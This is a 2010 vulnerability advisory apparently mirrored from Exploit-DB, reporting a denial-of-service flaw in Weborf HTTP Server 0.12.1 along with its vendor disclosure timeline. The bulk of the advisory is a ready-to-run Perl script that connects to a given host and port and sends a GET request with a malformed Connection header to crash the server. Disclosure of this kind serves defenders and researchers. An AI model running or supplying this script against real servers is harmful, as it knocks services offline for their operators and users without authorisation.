Weborf HTTP Server – Denial of Service

  • 作者: Crash
    日期: 2010-06-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14012/
  • [DCA-0012]
    
    [Software]
    - Weborf HTTP Server
    
    [Vendor Product Description]
    - Weborf is a lightweight Web server written in C. It supports IPv6
    and basic authentication. It doesn't implement the full HTTP
    specification, but can be used to easily share directories or files.
    
    [Bug Description]
    - Weborf HTTP Server can't handle unicode characters in "Connection: "
    general header-field leading to a Denial-of-Service flaw
    
    [History]
    - Advisory sent to vendor on 06/21/2010.
    - Vendor reply 06/22/2010.
    - Vendor patch published 06/23/2010
    
    
    [Impact]
    - Low
    
    [Affected Version]
    -Weborf 0.12.1
    - Prior versions may also be vulnerable.
    
    [Exploit]
    
    #!/usr/bin/perl
    use IO::Socket;
    
     if (@ARGV < 1) {
     usage();
     }
    
     $ip = $ARGV[0];
     $port = $ARGV[1];
    
     print "[+] Sending request...\n";
    
     $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
    "$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
     print $socket "GET / HTTP/1.0\r\n";
     print $socket "Connection: ". "\0x99" x 4 ."\r\n\r\n";
    
     close($socket);
    
     print "[+] Done!\n";
    
    sub usage() {
     print "[-] Usage: <". $0 ."> <host> <port>\n";
     print "[-] Example: ". $0 ." 127.0.0.1 80\n";
     exit;
    }
    ---------------------------------------------------------------------------------
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    DcLabs Security Group
    Sponsor: ipax
    ipax@dclabs.com.br
    
    [Credits]
    Crash and all DcLabs members.